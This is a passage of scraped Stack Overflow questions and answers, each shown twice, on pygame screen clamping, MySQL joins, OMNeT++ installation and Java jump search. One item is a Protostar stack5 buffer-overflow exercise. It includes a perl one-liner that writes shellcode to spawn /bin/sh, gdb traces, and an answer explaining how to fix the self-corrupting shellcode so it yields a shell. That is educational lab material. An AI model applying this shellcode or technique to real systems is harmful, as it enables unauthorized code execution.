    if pressed[pygame.K_RIGHT]: x += 5

    screen.fill((0, 0, 0))
    color = (0, 128, 255)
    pygame.draw.rect(screen, color, pygame.Rect(x, y, 60, 60))

    pygame.display.flip()
    clock.tick(60)
</code>```

答:
pygame.Rects have a clamp (and clamp_ip) method which you can use to limit the movement area. So create a rect with the size of the screen (called screen_rect here) and a rect for the player (player_rect) and call the clamp_ip method after each movement to keep it inside of the screen area.

```<code>import pygame as pg

pg.init()
screen = pg.display.set_mode((640, 480))
BG_COLOR = pg.Color(30, 30, 50)

def main():
    clock = pg.time.Clock()
    image = pg.Surface((50, 30))
    image.fill(pg.Color('dodgerblue'))
    pg.draw.rect(image, pg.Color(40, 220, 190), (0, 0, 49, 29), 2)
    player_rect = image.get_rect(topleft=(200, 200))
    # This pygame.Rect has the dimensions of the screen and
    # is used to clamp the player_rect to this area.
    screen_rect = screen.get_rect()
    speed = 5

    while True:
        for event in pg.event.get():
            if event.type == pg.QUIT:
                return

        pressed = pg.key.get_pressed()
        if pressed[pg.K_UP]:
            player_rect.y -= speed
        if pressed[pg.K_DOWN]:
            player_rect.y += speed
        if pressed[pg.K_LEFT]:
            player_rect.x -= speed
        if pressed[pg.K_RIGHT]:
            player_rect.x += speed
        # Clamp the rect to the dimensions of the screen_rect.
        player_rect.clamp_ip(screen_rect)

        screen.fill(BG_COLOR)
        screen.blit(image, player_rect)

        pg.display.flip()
        clock.tick(60)

if __name__ == '__main__':
    main()
    pg.quit()
</code>```

Body:
I have created a small program in pygame where the player controls a blue square moving around the screen, but I want to stop the player from moving past the edge of the screen. Here is the code I have so far, how can I do this?

import pygame

pygame.init()
screen = pygame.display.set_mode((800, 600))
done = False
x = 30
y = 30

clock = pygame.time.Clock()

while not done:
        for event in pygame.event.get():
                if event.type == pygame.QUIT:
                        done = True
                if event.type == pygame.KEYDOWN and event.key == pygame.K_SPACE:
                        is_blue = not is_blue

    pressed = pygame.key.get_pressed()
    if pressed[pygame.K_UP]: y -= 5
    if pressed[pygame.K_DOWN]: y += 5
    if pressed[pygame.K_LEFT]: x -= 5
    if pressed[pygame.K_RIGHT]: x += 5

    screen.fill((0, 0, 0))
    color = (0, 128, 255)
    pygame.draw.rect(screen, color, pygame.Rect(x, y, 60, 60))

    pygame.display.flip()
    clock.tick(60)

Body:
pygame.Rects have a clamp (and clamp_ip) method which you can use to limit the movement area. So create a rect with the size of the screen (called screen_rect here) and a rect for the player (player_rect) and call the clamp_ip method after each movement to keep it inside of the screen area.

import pygame as pg

pg.init()
screen = pg.display.set_mode((640, 480))
BG_COLOR = pg.Color(30, 30, 50)

def main():
    clock = pg.time.Clock()
    image = pg.Surface((50, 30))
    image.fill(pg.Color('dodgerblue'))
    pg.draw.rect(image, pg.Color(40, 220, 190), (0, 0, 49, 29), 2)
    player_rect = image.get_rect(topleft=(200, 200))
    # This pygame.Rect has the dimensions of the screen and
    # is used to clamp the player_rect to this area.
    screen_rect = screen.get_rect()
    speed = 5

    while True:
        for event in pg.event.get():
            if event.type == pg.QUIT:
                return

        pressed = pg.key.get_pressed()
        if pressed[pg.K_UP]:
            player_rect.y -= speed
        if pressed[pg.K_DOWN]:
            player_rect.y += speed
        if pressed[pg.K_LEFT]:
            player_rect.x -= speed
        if pressed[pg.K_RIGHT]:
            player_rect.x += speed
        # Clamp the rect to the dimensions of the screen_rect.
        player_rect.clamp_ip(screen_rect)

        screen.fill(BG_COLOR)
        screen.blit(image, player_rect)

        pg.display.flip()
        clock.tick(60)

if __name__ == '__main__':
    main()
    pg.quit()


问:
Shellcode not executed properly
I am trying to solve Protostar stack5.
Here is a solution.
It puts the shellcode after the return address, I tried to put it before, in the array.
I have tried the shellcode, it works.

It seems everything OK, the execution jumps to shellcode, but I get a segmentation fault after the end of shellcode, and no shell is spawned. I do not know why, in gdb not all shellcode instructions appear properly.
For example at 0xbffff690 should be mov    %esp,%ecx not cwtl. Maybe this is the problem? Why is this happening?

Edit: Since the array address will be slightly different when it is started outside gdb we need a nop sled. So my approach maybe will not work because the array size is too small for this. However I still want to know why the end of the shellcode is interpreted wrongly in gdb.

```<code>perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2

user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/o2
Starting program: /opt/protostar/bin/stack5 < /tmp/o2

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11  stack5/stack5.c: No such file or directory.
    in stack5/stack5.c
(gdb) b *0xbffff660
Breakpoint 2 at 0xbffff660
(gdb) c
Continuing.

Breakpoint 2, 0xbffff660 in ?? ()
(gdb) display/i $pc
1: x/i $pc
0xbffff660: xor    %eax,%eax
(gdb) ni
0xbffff662 in ?? ()
1: x/i $pc
0xbffff662: xor    %ebx,%ebx
(gdb)
0xbffff664 in ?? ()
1: x/i $pc
0xbffff664: mov    $0x6,%al
(gdb)
0xbffff666 in ?? ()
1: x/i $pc
0xbffff666: int    $0x80
(gdb)
0xbffff668 in ?? ()
1: x/i $pc
0xbffff668: push   %ebx
(gdb)
0xbffff669 in ?? ()
1: x/i $pc
0xbffff669: push   $0x7974742f
(gdb)
0xbffff66e in ?? ()
1: x/i $pc
0xbffff66e: push   $0x7665642f
(gdb)
0xbffff673 in ?? ()
1: x/i $pc
0xbffff673: mov    %esp,%ebx
(gdb)
0xbffff675 in ?? ()
1: x/i $pc
0xbffff675: xor    %ecx,%ecx
(gdb)
0xbffff677 in ?? ()
1: x/i $pc
0xbffff677: mov    $0x2712,%cx
(gdb)
0xbffff67b in ?? ()
1: x/i $pc
0xbffff67b: mov    $0x5,%al
(gdb)
0xbffff67d in ?? ()
1: x/i $pc
0xbffff67d: int    $0x80
(gdb)
0xbffff67f in ?? ()
1: x/i $pc
0xbffff67f: xor    %eax,%eax
(gdb)
0xbffff681 in ?? ()
1: x/i $pc
0xbffff681: push   %eax
(gdb)
0xbffff682 in ?? ()
1: x/i $pc
0xbffff682: push   $0x68732f2f
(gdb)
0xbffff687 in ?? ()
1: x/i $pc
0xbffff687: push   $0x6e69622f
(gdb)
0xbffff68c in ?? ()
1: x/i $pc
0xbffff68c: mov    %esp,%ebx
(gdb)
0xbffff68e in ?? ()
1: x/i $pc
0xbffff68e: push   %eax
(gdb)
0xbffff68f in ?? ()
1: x/i $pc
0xbffff68f: push   %ebx
(gdb)
0xbffff690 in ?? ()
1: x/i $pc
0xbffff690: cwtl
(gdb)
0xbffff691 in ?? ()
1: x/i $pc
0xbffff691: idiv   %bh
(gdb)
0xbffff693 in ?? ()
1: x/i $pc
0xbffff693: mov    $0x0,%edi
(gdb)
0xbffff698 in ?? ()
1: x/i $pc
0xbffff698: das
(gdb)
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)
(gdb)

Program received signal SIGSEGV, Segmentation fault.
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)
</code>```

答:
Interesting question. The answer is: you have a stack overflow in your stack overflow.

On my system, the disassembly for main is at a slightly different address:

```<code>(gdb) disas
Dump of assembler code for function main:
   0x0804841d <+0>:     push   %ebp
   0x0804841e <+1>:     mov    %esp,%ebp
   0x08048420 <+3>:     and    $0xfffffff0,%esp
   0x08048423 <+6>:     sub    $0x50,%esp
   0x08048426 <+9>:     lea    0x10(%esp),%eax
   0x0804842a <+13>:    mov    %eax,(%esp)
   0x0804842d <+16>:    call   0x80482f0 <gets@plt>
   0x08048432 <+21>:    leave
   0x08048433 <+22>:    ret
End of assembler dump.
</code>```

The stack address is also different: the return address when stopped at 0x0804841d is 0xffffcedc, which means that by the time I reach gets the value of $eax is 0xffffce90, and I need to adjust exploit code accordingly.

I then set a breakpoint in *0x08048433, and execute the following commands once I reach it:

```<code>(gdb) display/23i 0xffffce90
(gdb) stepi
</code>```

Here is what I then see:

```<code>0xffffce90 in ?? ()
1: x/23i 0xffffce90
=> 0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)   # I press Enter here to repeat stepi
0xffffce92 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
=> 0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)
0xffffce94 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
=> 0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)
</code>```

So far, everything is proceeding nicely. But watch what happens when we reach 0xffffcebe and stepi over it:

```<code>0xffffcebf in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
=> 0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0x0,%al
   0xffffcec5:  add    %al,(%eax)
</code>```

The push just executed overwrote the int80 that used to be at 0xffffcec5 with something else (namely content of $eax). This is because we are executing instructions on the stack, while simultaneously pushing values onto that same stack!

Another stepi, and I see this:

```<code>(gdb) stepi
0xffffcec0 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
=> 0xffffcec0:  enter  $0xffce,$0xff
   0xffffcec4:  add    %al,(%eax)
   0xffffcec6:  add    %al,(%eax)
   0xffffcec8:  das
</code>```

And the next stepi causes SIGSEGV:

```<code>(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
</code>```

So what's the solution?

When we enter code at 0xffffce90, our stack points to 0xffffcee0, i.e. just 80 bytes past the shellcode. Our shellcode length is 54 bytes. Therefore, we can push at most 6 words on the stack, before we start corrupting our shellcode.

Current shellcode pushes 8 words, corrupting itself with the 7th and 8th pushes.

The shellcode needs to either pop some words (e.g. add pop %eax after the first syscall at 0xffffcead), or extend the stack with e.g. add $0x80,%esp upon entry so there is plenty of space between end of shellcode and top of stack.

I've used the latter, and it worked:

```<code>(gdb) c
Continuing.
process 21439 is executing new program: /bin/bash
</code>```

Title: Shellcode not executed properly

Body:
I am trying to solve Protostar stack5.
Here is a solution.
It puts the shellcode after the return address, I tried to put it before, in the array.
I have tried the shellcode, it works.

It seems everything OK, the execution jumps to shellcode, but I get a segmentation fault after the end of shellcode, and no shell is spawned. I do not know why, in gdb not all shellcode instructions appear properly.
For example at 0xbffff690 should be mov    %esp,%ecx not cwtl. Maybe this is the problem? Why is this happening?

Edit: Since the array address will be slightly different when it is started outside gdb we need a nop sled. So my approach maybe will not work because the array size is too small for this. However I still want to know why the end of the shellcode is interpreted wrongly in gdb.

perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2

user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 :    push   %ebp
0x080483c5 :    mov    %esp,%ebp
0x080483c7 :    and    $0xfffffff0,%esp
0x080483ca :    sub    $0x50,%esp
0x080483cd :    lea    0x10(%esp),%eax
0x080483d1 :   mov    %eax,(%esp)
0x080483d4 :   call   0x80482e8 <gets@plt>
0x080483d9 :   leave
0x080483da :   ret
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/o2
Starting program: /opt/protostar/bin/stack5 < /tmp/o2

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11  stack5/stack5.c: No such file or directory.
    in stack5/stack5.c
(gdb) b *0xbffff660
Breakpoint 2 at 0xbffff660
(gdb) c
Continuing.

Breakpoint 2, 0xbffff660 in ?? ()
(gdb) display/i $pc
1: x/i $pc
0xbffff660: xor    %eax,%eax
(gdb) ni
0xbffff662 in ?? ()
1: x/i $pc
0xbffff662: xor    %ebx,%ebx
(gdb)
0xbffff664 in ?? ()
1: x/i $pc
0xbffff664: mov    $0x6,%al
(gdb)
0xbffff666 in ?? ()
1: x/i $pc
0xbffff666: int    $0x80
(gdb)
0xbffff668 in ?? ()
1: x/i $pc
0xbffff668: push   %ebx
(gdb)
0xbffff669 in ?? ()
1: x/i $pc
0xbffff669: push   $0x7974742f
(gdb)
0xbffff66e in ?? ()
1: x/i $pc
0xbffff66e: push   $0x7665642f
(gdb)
0xbffff673 in ?? ()
1: x/i $pc
0xbffff673: mov    %esp,%ebx
(gdb)
0xbffff675 in ?? ()
1: x/i $pc
0xbffff675: xor    %ecx,%ecx
(gdb)
0xbffff677 in ?? ()
1: x/i $pc
0xbffff677: mov    $0x2712,%cx
(gdb)
0xbffff67b in ?? ()
1: x/i $pc
0xbffff67b: mov    $0x5,%al
(gdb)
0xbffff67d in ?? ()
1: x/i $pc
0xbffff67d: int    $0x80
(gdb)
0xbffff67f in ?? ()
1: x/i $pc
0xbffff67f: xor    %eax,%eax
(gdb)
0xbffff681 in ?? ()
1: x/i $pc
0xbffff681: push   %eax
(gdb)
0xbffff682 in ?? ()
1: x/i $pc
0xbffff682: push   $0x68732f2f
(gdb)
0xbffff687 in ?? ()
1: x/i $pc
0xbffff687: push   $0x6e69622f
(gdb)
0xbffff68c in ?? ()
1: x/i $pc
0xbffff68c: mov    %esp,%ebx
(gdb)
0xbffff68e in ?? ()
1: x/i $pc
0xbffff68e: push   %eax
(gdb)
0xbffff68f in ?? ()
1: x/i $pc
0xbffff68f: push   %ebx
(gdb)
0xbffff690 in ?? ()
1: x/i $pc
0xbffff690: cwtl
(gdb)
0xbffff691 in ?? ()
1: x/i $pc
0xbffff691: idiv   %bh
(gdb)
0xbffff693 in ?? ()
1: x/i $pc
0xbffff693: mov    $0x0,%edi
(gdb)
0xbffff698 in ?? ()
1: x/i $pc
0xbffff698: das
(gdb)
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)
(gdb)

Program received signal SIGSEGV, Segmentation fault.
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)

Body:
Interesting question. The answer is: you have a stack overflow in your stack overflow.

On my system, the disassembly for main is at a slightly different address:

(gdb) disas
Dump of assembler code for function main:
   0x0804841d <+0>:     push   %ebp
   0x0804841e <+1>:     mov    %esp,%ebp
   0x08048420 <+3>:     and    $0xfffffff0,%esp
   0x08048423 <+6>:     sub    $0x50,%esp
   0x08048426 <+9>:     lea    0x10(%esp),%eax
   0x0804842a <+13>:    mov    %eax,(%esp)
   0x0804842d <+16>:    call   0x80482f0 <gets@plt>
   0x08048432 <+21>:    leave
   0x08048433 <+22>:    ret
End of assembler dump.

The stack address is also different: the return address when stopped at 0x0804841d is 0xffffcedc, which means that by the time I reach gets the value of $eax is 0xffffce90, and I need to adjust exploit code accordingly.

I then set a breakpoint in *0x08048433, and execute the following commands once I reach it:

(gdb) display/23i 0xffffce90
(gdb) stepi

Here is what I then see:

0xffffce90 in ?? ()
1: x/23i 0xffffce90
=> 0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)   # I press Enter here to repeat stepi
0xffffce92 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
=> 0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)
0xffffce94 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
=> 0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)

So far, everything is proceeding nicely. But watch what happens when we reach 0xffffcebe and stepi over it:

0xffffcebf in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
=> 0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0x0,%al
   0xffffcec5:  add    %al,(%eax)

The push just executed overwrote the int80 that used to be at 0xffffcec5 with something else (namely content of $eax). This is because we are executing instructions on the stack, while simultaneously pushing values onto that same stack!

Another stepi, and I see this:

(gdb) stepi
0xffffcec0 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
=> 0xffffcec0:  enter  $0xffce,$0xff
   0xffffcec4:  add    %al,(%eax)
   0xffffcec6:  add    %al,(%eax)
   0xffffcec8:  das

And the next stepi causes SIGSEGV:

(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.

So what's the solution?

When we enter code at 0xffffce90, our stack points to 0xffffcee0, i.e. just 80 bytes past the shellcode. Our shellcode length is 54 bytes. Therefore, we can push at most 6 words on the stack, before we start corrupting our shellcode.

Current shellcode pushes 8 words, corrupting itself with the 7th and 8th pushes.

The shellcode needs to either pop some words (e.g. add pop %eax after the first syscall at 0xffffcead), or extend the stack with e.g. add $0x80,%esp upon entry so there is plenty of space between end of shellcode and top of stack.

I've used the latter, and it worked:

(gdb) c
Continuing.
process 21439 is executing new program: /bin/bash


问:
Can this mysql subquery be shortened with JOINs?
I am attempting to find all entries in the 'archive' table that have the same workID as any rows where historyID is NULL, worktype = "WEST", and the completeDate at least four months old. I am using a sub query to complete this request. Is there a more efficient way? My query is below.

```<code>SELECT * from archive b WHERE b.workID IN
(SELECT a.workID FROM archive a, worktypes t
WHERE a.historyID IS NULL AND (t.worktype IN ('WEST') AND a.worktype = t.id)
AND a.completeDate >= DATE(NOW() - Interval 4 month));
</code>```

Additional Info: The tables are related only by the worktype. Basically I'm using the worktypes table just so I can type 'WEST' instead of giving an id number so it's easier to understand the query at-a-glance. I added on to the query. I didn't copy and paste it all. Oops.

Thank you!

答:
```<code>SELECT b.*
    FROM archive b
        INNER JOIN archive a
            on b.workID = a.workID
                AND a.historyID IS NULL
                AND a.completeDate >= DATE(NOW() - Interval 4 month)
        INNER JOIN worktypes t
            ON a.worktype = t.id
                AND t.worktype = 'WEST'
</code>```

Body:
I am attempting to find all entries in the 'archive' table that have the same workID as any rows where historyID is NULL, worktype = "WEST", and the completeDate at least four months old. I am using a sub query to complete this request. Is there a more efficient way? My query is below.

SELECT * from archive b WHERE b.workID IN
(SELECT a.workID FROM archive a, worktypes t
WHERE a.historyID IS NULL AND (t.worktype IN ('WEST') AND a.worktype = t.id)
AND a.completeDate >= DATE(NOW() - Interval 4 month));

Additional Info: The tables are related only by the worktype. Basically I'm using the worktypes table just so I can type 'WEST' instead of giving an id number so it's easier to understand the query at-a-glance. I added on to the query. I didn't copy and paste it all. Oops.

Thank you!


问:
omnet++ installation error in ubuntu 14.04
I have been trying to install omnet++ 4.1 on ubuntu 11.04, but while i enter the "make" command, the following errors are shown which stop the installation:
</p>

答: It seems, you are actually trying to install OMNeT++ 4.2. That version of OMNeT++ is too old to be installed with the newer version of GCC installed on your ubuntu version. You should either choose an older Ubuntu version or a newer OMNeT++ version.</p>


问:
jump search algorithm
i am doing jump search algorithm but it show me    that element is not in array while it is
here is code

```<code>import java.math.*;

public class  jamp  {

    public  static int min(int a,int b) {
        return a<b?a:b;
    }

    public  static void main(String[]args) {
        int  a[]=new int[]{3,7,9,12,14,15,16,17,18};
        int l=14;
        System.out.println(jumpsearch(a,a.length,l));
    }

    public static int jumpsearch(int a[],int n, int  l ) {
        int t=0;
        int b=(int)Math.sqrt(n);
        while (a[min(b,n)-1]<t){
            t=b;
            b=b+(int)Math.sqrt(n);
            if ( t>=n)  return  -1  ;
        }
        while (a[t]<l){
            t=t+1;
            if ( t==min(b,n))
                return   -1  ;
            if ( a[t]==l)  {
                return t;
            }
        }
        return -1;
    }
}
</code>```

please help

答:
Here is my sample Example for Jump Search(Alternative Approach):-
Hope this helps</p>

```<code>public class JumpSearch {
    public static void main(String[] args) {
        int[] arr= {0,1,2,3,4,5,5,9,12,14,15,15};
        System.out.println("Element found at: "+search(arr,15));
    }
    public static int  search (int[] arr,int key){
        int length= arr.length;
        int start=0;
        int jump=(int) Math.sqrt(length);
        for(int i=0;i<length;i+=jump){
            if(arr[i]==key){
                return i;
            }
            else if(arr[i]>key){
                start=arr[i-jump];
                break;
            }else{
                start=i+1;
            }
        }
        for(int i=start;i<arr.length;i++){
            if(arr[i]==key){
                return i;
            }
        }
        return -1;
    }
}
</code>```

Title: jump search algorithm

Body:
i am doing jump search algorithm but it show me    that element is not in array while it is
here is code

import java.math.*;

public class  jamp  {

    public  static int min(int a,int b) {
        return a<b?a:b;
    }

    public  static void main(String[]args) {
        int  a[]=new int[]{3,7,9,12,14,15,16,17,18};
        int l=14;
        System.out.println(jumpsearch(a,a.length,l));
    }

    public static int jumpsearch(int a[],int n, int  l ) {
        int t=0;
        int b=(int)Math.sqrt(n);
        while (a[min(b,n)-1]<t){
            t=b;
            b=b+(int)Math.sqrt(n);
            if ( t>=n)  return  -1  ;
        }
        while (a[t]<l){
            t=t+1;
            if ( t==min(b,n))
                return   -1  ;
            if ( a[t]==l)  {
                return t;
            }
        }
        return -1;
    }
}

please help

Body:
Here is my sample Example for Jump Search(Alternative Approach):-
Hope this helps

public class JumpSearch {
    public static void main(String[] args) {
        int[] arr= {0,1,2,3,4,5,5,9,12,14,15,15};
        System.out.println("Element found at: "+search(arr,15));
    }
    public static int  search (int[] arr,int key){
        int length= arr.length;
        int start=0;
        int jump=(int) Math.sqrt(length);
        for(int i=0;i<length;i+=jump){
            if(arr[i]==key){
                return i;
